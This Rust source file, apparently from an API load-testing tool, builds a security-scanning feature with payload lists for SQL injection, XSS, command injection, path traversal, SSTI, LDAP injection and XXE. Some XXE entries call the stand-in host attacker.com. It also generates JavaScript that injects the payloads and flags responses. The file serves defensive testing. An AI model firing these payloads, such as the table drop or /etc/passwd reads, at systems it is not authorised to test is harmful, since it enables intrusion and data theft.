1use crate::error::{BenchError, Result};
8use serde::{Deserialize, Serialize};
9use std::collections::HashSet;
10use std::path::Path;
11
12#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize)]
14#[serde(rename_all = "kebab-case")]
15pub enum SecurityCategory {
16 SqlInjection,
18 Xss,
20 CommandInjection,
22 PathTraversal,
24 Ssti,
26 LdapInjection,
28 Xxe,
30}
31
32impl std::fmt::Display for SecurityCategory {
33 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
34 match self {
35 Self::SqlInjection => write!(f, "sqli"),
36 Self::Xss => write!(f, "xss"),
37 Self::CommandInjection => write!(f, "command-injection"),
38 Self::PathTraversal => write!(f, "path-traversal"),
39 Self::Ssti => write!(f, "ssti"),
40 Self::LdapInjection => write!(f, "ldap-injection"),
41 Self::Xxe => write!(f, "xxe"),
42 }
43 }
44}
45
46impl std::str::FromStr for SecurityCategory {
47 type Err = String;
48
49 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
50 match s.to_lowercase().replace('_', "-").as_str() {
51 "sqli" | "sql-injection" | "sqlinjection" => Ok(Self::SqlInjection),
52 "xss" | "cross-site-scripting" => Ok(Self::Xss),
53 "command-injection" | "commandinjection" | "cmd" => Ok(Self::CommandInjection),
54 "path-traversal" | "pathtraversal" | "lfi" => Ok(Self::PathTraversal),
55 "ssti" | "template-injection" => Ok(Self::Ssti),
56 "ldap-injection" | "ldapinjection" | "ldap" => Ok(Self::LdapInjection),
57 "xxe" | "xml-external-entity" => Ok(Self::Xxe),
58 _ => Err(format!("Unknown security category: '{}'", s)),
59 }
60 }
61}
62
63#[derive(Debug, Clone, Serialize, Deserialize)]
65pub struct SecurityPayload {
66 pub payload: String,
68 pub category: SecurityCategory,
70 pub description: String,
72 pub high_risk: bool,
74}
75
76impl SecurityPayload {
77 pub fn new(payload: String, category: SecurityCategory, description: String) -> Self {
79 Self {
80 payload,
81 category,
82 description,
83 high_risk: false,
84 }
85 }
86
87 pub fn high_risk(mut self) -> Self {
89 self.high_risk = true;
90 self
91 }
92}
93
94#[derive(Debug, Clone, Serialize, Deserialize)]
96pub struct SecurityTestConfig {
97 pub enabled: bool,
99 pub categories: HashSet<SecurityCategory>,
101 pub target_fields: Vec<String>,
103 pub custom_payloads_file: Option<String>,
105 pub include_high_risk: bool,
107}
108
109impl Default for SecurityTestConfig {
110 fn default() -> Self {
111 let mut categories = HashSet::new();
112 categories.insert(SecurityCategory::SqlInjection);
113 categories.insert(SecurityCategory::Xss);
114
115 Self {
116 enabled: false,
117 categories,
118 target_fields: Vec::new(),
119 custom_payloads_file: None,
120 include_high_risk: false,
121 }
122 }
123}
124
125impl SecurityTestConfig {
126 pub fn enable(mut self) -> Self {
128 self.enabled = true;
129 self
130 }
131
132 pub fn with_categories(mut self, categories: HashSet<SecurityCategory>) -> Self {
134 self.categories = categories;
135 self
136 }
137
138 pub fn with_target_fields(mut self, fields: Vec<String>) -> Self {
140 self.target_fields = fields;
141 self
142 }
143
144 pub fn with_custom_payloads(mut self, path: String) -> Self {
146 self.custom_payloads_file = Some(path);
147 self
148 }
149
150 pub fn with_high_risk(mut self) -> Self {
152 self.include_high_risk = true;
153 self
154 }
155
156 pub fn parse_categories(s: &str) -> std::result::Result<HashSet<SecurityCategory>, String> {
158 if s.is_empty() {
159 return Ok(HashSet::new());
160 }
161
162 s.split(',').map(|c| c.trim().parse::<SecurityCategory>()).collect()
163 }
164}
165
166pub struct SecurityPayloads;
168
169impl SecurityPayloads {
170 pub fn sql_injection() -> Vec<SecurityPayload> {
172 vec![
173 SecurityPayload::new(
174 "' OR '1'='1".to_string(),
175 SecurityCategory::SqlInjection,
176 "Basic SQL injection tautology".to_string(),
177 ),
178 SecurityPayload::new(
179 "' OR '1'='1' --".to_string(),
180 SecurityCategory::SqlInjection,
181 "SQL injection with comment".to_string(),
182 ),
183 SecurityPayload::new(
184 "'; DROP TABLE users; --".to_string(),
185 SecurityCategory::SqlInjection,
186 "SQL injection table drop attempt".to_string(),
187 )
188 .high_risk(),
189 SecurityPayload::new(
190 "' UNION SELECT * FROM users --".to_string(),
191 SecurityCategory::SqlInjection,
192 "SQL injection union-based data extraction".to_string(),
193 ),
194 SecurityPayload::new(
195 "1' AND '1'='1".to_string(),
196 SecurityCategory::SqlInjection,
197 "SQL injection boolean-based blind".to_string(),
198 ),
199 SecurityPayload::new(
200 "1; WAITFOR DELAY '0:0:5' --".to_string(),
201 SecurityCategory::SqlInjection,
202 "SQL injection time-based blind (MSSQL)".to_string(),
203 ),
204 SecurityPayload::new(
205 "1' AND SLEEP(5) --".to_string(),
206 SecurityCategory::SqlInjection,
207 "SQL injection time-based blind (MySQL)".to_string(),
208 ),
209 ]
210 }
211
212 pub fn xss() -> Vec<SecurityPayload> {
214 vec![
215 SecurityPayload::new(
216 "<script>alert('XSS')</script>".to_string(),
217 SecurityCategory::Xss,
218 "Basic script tag XSS".to_string(),
219 ),
220 SecurityPayload::new(
221 "<img src=x onerror=alert('XSS')>".to_string(),
222 SecurityCategory::Xss,
223 "Image tag XSS with onerror".to_string(),
224 ),
225 SecurityPayload::new(
226 "<svg/onload=alert('XSS')>".to_string(),
227 SecurityCategory::Xss,
228 "SVG tag XSS with onload".to_string(),
229 ),
230 SecurityPayload::new(
231 "javascript:alert('XSS')".to_string(),
232 SecurityCategory::Xss,
233 "JavaScript protocol XSS".to_string(),
234 ),
235 SecurityPayload::new(
236 "<body onload=alert('XSS')>".to_string(),
237 SecurityCategory::Xss,
238 "Body tag XSS with onload".to_string(),
239 ),
240 SecurityPayload::new(
241 "'><script>alert(String.fromCharCode(88,83,83))</script>".to_string(),
242 SecurityCategory::Xss,
243 "XSS with character encoding".to_string(),
244 ),
245 SecurityPayload::new(
246 "<div style=\"background:url(javascript:alert('XSS'))\">".to_string(),
247 SecurityCategory::Xss,
248 "CSS-based XSS".to_string(),
249 ),
250 ]
251 }
252
253 pub fn command_injection() -> Vec<SecurityPayload> {
255 vec![
256 SecurityPayload::new(
257 "; ls -la".to_string(),
258 SecurityCategory::CommandInjection,
259 "Unix command injection with semicolon".to_string(),
260 ),
261 SecurityPayload::new(
262 "| cat /etc/passwd".to_string(),
263 SecurityCategory::CommandInjection,
264 "Unix command injection with pipe".to_string(),
265 )
266 .high_risk(),
267 SecurityPayload::new(
268 "$(cat /etc/passwd)".to_string(),
269 SecurityCategory::CommandInjection,
270 "Unix command substitution".to_string(),
271 )
272 .high_risk(),
273 SecurityPayload::new(
274 "`cat /etc/passwd`".to_string(),
275 SecurityCategory::CommandInjection,
276 "Unix backtick command execution".to_string(),
277 )
278 .high_risk(),
279 SecurityPayload::new(
280 "& dir".to_string(),
281 SecurityCategory::CommandInjection,
282 "Windows command injection".to_string(),
283 ),
284 SecurityPayload::new(
285 "|| ping -c 3 127.0.0.1".to_string(),
286 SecurityCategory::CommandInjection,
287 "Command injection with OR".to_string(),
288 ),
289 SecurityPayload::new(
290 "\n/bin/sh -c 'echo vulnerable'".to_string(),
291 SecurityCategory::CommandInjection,
292 "Newline-based command injection".to_string(),
293 ),
294 ]
295 }
296
297 pub fn path_traversal() -> Vec<SecurityPayload> {
299 vec![
300 SecurityPayload::new(
301 "../../../etc/passwd".to_string(),
302 SecurityCategory::PathTraversal,
303 "Basic path traversal".to_string(),
304 ),
305 SecurityPayload::new(
306 "..%2F..%2F..%2Fetc%2Fpasswd".to_string(),
307 SecurityCategory::PathTraversal,
308 "URL-encoded path traversal".to_string(),
309 ),
310 SecurityPayload::new(
311 "....//....//....//etc/passwd".to_string(),
312 SecurityCategory::PathTraversal,
313 "Double-dot path traversal bypass".to_string(),
314 ),
315 SecurityPayload::new(
316 "..%252f..%252f..%252fetc%252fpasswd".to_string(),
317 SecurityCategory::PathTraversal,
318 "Double URL-encoded path traversal".to_string(),
319 ),
320 SecurityPayload::new(
321 "/etc/passwd%00.jpg".to_string(),
322 SecurityCategory::PathTraversal,
323 "Null byte injection path traversal".to_string(),
324 ),
325 SecurityPayload::new(
326 "....\\....\\....\\windows\\system32\\config\\sam".to_string(),
327 SecurityCategory::PathTraversal,
328 "Windows path traversal".to_string(),
329 ),
330 ]
331 }
332
333 pub fn ssti() -> Vec<SecurityPayload> {
335 vec![
336 SecurityPayload::new(
337 "{{7*7}}".to_string(),
338 SecurityCategory::Ssti,
339 "Jinja2/Twig SSTI detection".to_string(),
340 ),
341 SecurityPayload::new(
342 "${7*7}".to_string(),
343 SecurityCategory::Ssti,
344 "Freemarker SSTI detection".to_string(),
345 ),
346 SecurityPayload::new(
347 "<%= 7*7 %>".to_string(),
348 SecurityCategory::Ssti,
349 "ERB SSTI detection".to_string(),
350 ),
351 SecurityPayload::new(
352 "#{7*7}".to_string(),
353 SecurityCategory::Ssti,
354 "Ruby SSTI detection".to_string(),
355 ),
356 ]
357 }
358
359 pub fn ldap_injection() -> Vec<SecurityPayload> {
361 vec![
362 SecurityPayload::new(
363 "*".to_string(),
364 SecurityCategory::LdapInjection,
365 "LDAP wildcard - match all".to_string(),
366 ),
367 SecurityPayload::new(
368 "*)(&".to_string(),
369 SecurityCategory::LdapInjection,
370 "LDAP filter injection - close and inject".to_string(),
371 ),
372 SecurityPayload::new(
373 "*)(uid=*))(|(uid=*".to_string(),
374 SecurityCategory::LdapInjection,
375 "LDAP OR injection to bypass auth".to_string(),
376 ),
377 SecurityPayload::new(
378 "admin)(&)".to_string(),
379 SecurityCategory::LdapInjection,
380 "LDAP always true injection".to_string(),
381 ),
382 SecurityPayload::new(
383 "x)(|(objectClass=*".to_string(),
384 SecurityCategory::LdapInjection,
385 "LDAP objectClass enumeration".to_string(),
386 ),
387 SecurityPayload::new(
388 "*)(cn=*".to_string(),
389 SecurityCategory::LdapInjection,
390 "LDAP CN attribute injection".to_string(),
391 ),
392 SecurityPayload::new(
393 "*)%00".to_string(),
394 SecurityCategory::LdapInjection,
395 "LDAP null byte injection".to_string(),
396 ),
397 SecurityPayload::new(
398 "*))%00".to_string(),
399 SecurityCategory::LdapInjection,
400 "LDAP double close with null byte".to_string(),
401 ),
402 ]
403 }
404
405 pub fn xxe() -> Vec<SecurityPayload> {
407 vec![
408 SecurityPayload::new(
409 r#"<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>"#.to_string(),
410 SecurityCategory::Xxe,
411 "Basic XXE - read /etc/passwd".to_string(),
412 ).high_risk(),
413 SecurityPayload::new(
414 r#"<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]><foo>&xxe;</foo>"#.to_string(),
415 SecurityCategory::Xxe,
416 "Windows XXE - read win.ini".to_string(),
417 ).high_risk(),
418 SecurityPayload::new(
419 r#"<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.com/xxe">]><foo>&xxe;</foo>"#.to_string(),
420 SecurityCategory::Xxe,
421 "XXE SSRF - external request".to_string(),
422 ).high_risk(),
423 SecurityPayload::new(
424 r#"<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/xxe.dtd">%xxe;]><foo>bar</foo>"#.to_string(),
425 SecurityCategory::Xxe,
426 "External DTD XXE".to_string(),
427 ).high_risk(),
428 SecurityPayload::new(
429 r#"<?xml version="1.0"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "expect://id">]><foo>&xxe;</foo>"#.to_string(),
430 SecurityCategory::Xxe,
431 "PHP expect XXE - command execution".to_string(),
432 ).high_risk(),
433 SecurityPayload::new(
434 r#"<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">]><foo>&xxe;</foo>"#.to_string(),
435 SecurityCategory::Xxe,
436 "PHP filter XXE - base64 encoded read".to_string(),
437 ).high_risk(),
438 SecurityPayload::new(
439 r#"<!DOCTYPE foo [<!ENTITY % a "<!ENTITY % b SYSTEM 'file:///etc/passwd'>">%a;%b;]>"#.to_string(),
440 SecurityCategory::Xxe,
441 "Parameter entity XXE".to_string(),
442 ).high_risk(),
443 SecurityPayload::new(
444 r#"<?xml version="1.0"?><!DOCTYPE foo SYSTEM "http://attacker.com/xxe.dtd"><foo>&xxe;</foo>"#.to_string(),
445 SecurityCategory::Xxe,
446 "External DTD reference".to_string(),
447 ).high_risk(),
448 ]
449 }
450
451 pub fn get_by_category(category: SecurityCategory) -> Vec<SecurityPayload> {
453 match category {
454 SecurityCategory::SqlInjection => Self::sql_injection(),
455 SecurityCategory::Xss => Self::xss(),
456 SecurityCategory::CommandInjection => Self::command_injection(),
457 SecurityCategory::PathTraversal => Self::path_traversal(),
458 SecurityCategory::Ssti => Self::ssti(),
459 SecurityCategory::LdapInjection => Self::ldap_injection(),
460 SecurityCategory::Xxe => Self::xxe(),
461 }
462 }
463
464 pub fn get_payloads(config: &SecurityTestConfig) -> Vec<SecurityPayload> {
466 let mut payloads: Vec<SecurityPayload> =
467 config.categories.iter().flat_map(|c| Self::get_by_category(*c)).collect();
468
469 if !config.include_high_risk {
471 payloads.retain(|p| !p.high_risk);
472 }
473
474 payloads
475 }
476
477 pub fn load_custom_payloads(path: &Path) -> Result<Vec<SecurityPayload>> {
479 let content = std::fs::read_to_string(path)
480 .map_err(|e| BenchError::Other(format!("Failed to read payloads file: {}", e)))?;
481
482 serde_json::from_str(&content)
483 .map_err(|e| BenchError::Other(format!("Failed to parse payloads file: {}", e)))
484 }
485}
486
487pub struct SecurityTestGenerator;
489
490impl SecurityTestGenerator {
491 pub fn generate_payload_selection(payloads: &[SecurityPayload]) -> String {
493 let mut code = String::new();
494
495 code.push_str("// Security testing payloads\n");
496 code.push_str("const securityPayloads = [\n");
497
498 for payload in payloads {
499 let escaped = payload
501 .payload
502 .replace('\\', "\\\\")
503 .replace('\'', "\\'")
504 .replace('\n', "\\n")
505 .replace('\r', "\\r");
506
507 code.push_str(&format!(
508 " {{ payload: '{}', category: '{}', description: '{}' }},\n",
509 escaped, payload.category, payload.description
510 ));
511 }
512
513 code.push_str("];\n\n");
514 code.push_str("// Select random security payload\n");
515 code.push_str("const securityPayload = securityPayloads[Math.floor(Math.random() * securityPayloads.length)];\n");
516
517 code
518 }
519
520 pub fn generate_apply_payload(target_fields: &[String]) -> String {
522 let mut code = String::new();
523
524 code.push_str("// Apply security payload to request\n");
525 code.push_str("function applySecurityPayload(payload, targetFields, secPayload) {\n");
526 code.push_str(" const result = { ...payload };\n");
527 code.push_str(" \n");
528
529 if target_fields.is_empty() {
530 code.push_str(" // No specific target fields - inject into first string field\n");
531 code.push_str(" for (const key of Object.keys(result)) {\n");
532 code.push_str(" if (typeof result[key] === 'string') {\n");
533 code.push_str(" result[key] = secPayload.payload;\n");
534 code.push_str(" break;\n");
535 code.push_str(" }\n");
536 code.push_str(" }\n");
537 } else {
538 code.push_str(" // Inject into specified target fields\n");
539 code.push_str(" for (const field of targetFields) {\n");
540 code.push_str(" if (result.hasOwnProperty(field)) {\n");
541 code.push_str(" result[field] = secPayload.payload;\n");
542 code.push_str(" }\n");
543 code.push_str(" }\n");
544 }
545
546 code.push_str(" \n");
547 code.push_str(" return result;\n");
548 code.push_str("}\n");
549
550 code
551 }
552
553 pub fn generate_security_checks() -> String {
555 r#"// Security test response checks
556function checkSecurityResponse(res, expectedVulnerable) {
557 // Check for common vulnerability indicators
558 const body = res.body || '';
559
560 const vulnerabilityIndicators = [
561 // SQL injection
562 'SQL syntax',
563 'mysql_fetch',
564 'ORA-',
565 'PostgreSQL',
566
567 // Command injection
568 'root:',
569 '/bin/',
570 'uid=',
571
572 // Path traversal
573 '[extensions]',
574 'passwd',
575
576 // XSS (reflected)
577 '<script>alert',
578 'onerror=',
579
580 // Error disclosure
581 'stack trace',
582 'Exception',
583 'Error in',
584 ];
585
586 const foundIndicator = vulnerabilityIndicators.some(ind =>
587 body.toLowerCase().includes(ind.toLowerCase())
588 );
589
590 if (foundIndicator) {
591 console.warn(`POTENTIAL VULNERABILITY: ${securityPayload.description}`);
592 console.warn(`Category: ${securityPayload.category}`);
593 console.warn(`Status: ${res.status}`);
594 }
595
596 return check(res, {
597 'security test: no obvious vulnerability': () => !foundIndicator,
598 'security test: proper error handling': (r) => r.status < 500,
599 });
600}
601"#
602 .to_string()
603 }
604}
605
606#[cfg(test)]
607mod tests {
608 use super::*;
609 use std::str::FromStr;
610
611 #[test]
612 fn test_security_category_display() {
613 assert_eq!(SecurityCategory::SqlInjection.to_string(), "sqli");
614 assert_eq!(SecurityCategory::Xss.to_string(), "xss");
615 assert_eq!(SecurityCategory::CommandInjection.to_string(), "command-injection");
616 assert_eq!(SecurityCategory::PathTraversal.to_string(), "path-traversal");
617 }
618
619 #[test]
620 fn test_security_category_from_str() {
621 assert_eq!(SecurityCategory::from_str("sqli").unwrap(), SecurityCategory::SqlInjection);
622 assert_eq!(
623 SecurityCategory::from_str("sql-injection").unwrap(),
624 SecurityCategory::SqlInjection
625 );
626 assert_eq!(SecurityCategory::from_str("xss").unwrap(), SecurityCategory::Xss);
627 assert_eq!(
628 SecurityCategory::from_str("command-injection").unwrap(),
629 SecurityCategory::CommandInjection
630 );
631 }
632
633 #[test]
634 fn test_security_category_from_str_invalid() {
635 assert!(SecurityCategory::from_str("invalid").is_err());
636 }
637
638 #[test]
639 fn test_security_test_config_default() {
640 let config = SecurityTestConfig::default();
641 assert!(!config.enabled);
642 assert!(config.categories.contains(&SecurityCategory::SqlInjection));
643 assert!(config.categories.contains(&SecurityCategory::Xss));
644 assert!(!config.include_high_risk);
645 }
646
647 #[test]
648 fn test_security_test_config_builders() {
649 let mut categories = HashSet::new();
650 categories.insert(SecurityCategory::CommandInjection);
651
652 let config = SecurityTestConfig::default()
653 .enable()
654 .with_categories(categories)
655 .with_target_fields(vec!["name".to_string()])
656 .with_high_risk();
657
658 assert!(config.enabled);
659 assert!(config.categories.contains(&SecurityCategory::CommandInjection));
660 assert!(!config.categories.contains(&SecurityCategory::SqlInjection));
661 assert_eq!(config.target_fields, vec!["name"]);
662 assert!(config.include_high_risk);
663 }
664
665 #[test]
666 fn test_parse_categories() {
667 let categories = SecurityTestConfig::parse_categories("sqli,xss,path-traversal").unwrap();
668 assert_eq!(categories.len(), 3);
669 assert!(categories.contains(&SecurityCategory::SqlInjection));
670 assert!(categories.contains(&SecurityCategory::Xss));
671 assert!(categories.contains(&SecurityCategory::PathTraversal));
672 }
673
674 #[test]
675 fn test_sql_injection_payloads() {
676 let payloads = SecurityPayloads::sql_injection();
677 assert!(!payloads.is_empty());
678 assert!(payloads.iter().all(|p| p.category == SecurityCategory::SqlInjection));
679 assert!(payloads.iter().any(|p| p.payload.contains("OR")));
680 }
681
682 #[test]
683 fn test_xss_payloads() {
684 let payloads = SecurityPayloads::xss();
685 assert!(!payloads.is_empty());
686 assert!(payloads.iter().all(|p| p.category == SecurityCategory::Xss));
687 assert!(payloads.iter().any(|p| p.payload.contains("<script>")));
688 }
689
690 #[test]
691 fn test_command_injection_payloads() {
692 let payloads = SecurityPayloads::command_injection();
693 assert!(!payloads.is_empty());
694 assert!(payloads.iter().all(|p| p.category == SecurityCategory::CommandInjection));
695 }
696
697 #[test]
698 fn test_path_traversal_payloads() {
699 let payloads = SecurityPayloads::path_traversal();
700 assert!(!payloads.is_empty());
701 assert!(payloads.iter().all(|p| p.category == SecurityCategory::PathTraversal));
702 assert!(payloads.iter().any(|p| p.payload.contains("..")));
703 }
704
705 #[test]
706 fn test_get_payloads_filters_high_risk() {
707 let config = SecurityTestConfig::default();
708 let payloads = SecurityPayloads::get_payloads(&config);
709
710 assert!(payloads.iter().all(|p| !p.high_risk));
712 }
713
714 #[test]
715 fn test_get_payloads_includes_high_risk() {
716 let config = SecurityTestConfig::default().with_high_risk();
717 let payloads = SecurityPayloads::get_payloads(&config);
718
719 assert!(payloads.iter().any(|p| p.high_risk));
721 }
722
723 #[test]
724 fn test_generate_payload_selection() {
725 let payloads = vec![SecurityPayload::new(
726 "' OR '1'='1".to_string(),
727 SecurityCategory::SqlInjection,
728 "Basic SQLi".to_string(),
729 )];
730
731 let code = SecurityTestGenerator::generate_payload_selection(&payloads);
732 assert!(code.contains("securityPayloads"));
733 assert!(code.contains("OR"));
734 assert!(code.contains("Math.random()"));
735 }
736
737 #[test]
738 fn test_generate_apply_payload_no_targets() {
739 let code = SecurityTestGenerator::generate_apply_payload(&[]);
740 assert!(code.contains("applySecurityPayload"));
741 assert!(code.contains("first string field"));
742 }
743
744 #[test]
745 fn test_generate_apply_payload_with_targets() {
746 let code = SecurityTestGenerator::generate_apply_payload(&["name".to_string()]);
747 assert!(code.contains("applySecurityPayload"));
748 assert!(code.contains("target fields"));
749 }
750
751 #[test]
752 fn test_generate_security_checks() {
753 let code = SecurityTestGenerator::generate_security_checks();
754 assert!(code.contains("checkSecurityResponse"));
755 assert!(code.contains("vulnerabilityIndicators"));
756 assert!(code.contains("POTENTIAL VULNERABILITY"));
757 }
758
759 #[test]
760 fn test_payload_escaping() {
761 let payloads = vec![SecurityPayload::new(
762 "'; DROP TABLE users; --".to_string(),
763 SecurityCategory::SqlInjection,
764 "Drop table".to_string(),
765 )];
766
767 let code = SecurityTestGenerator::generate_payload_selection(&payloads);
768 assert!(code.contains("\\'"));
770 }
771}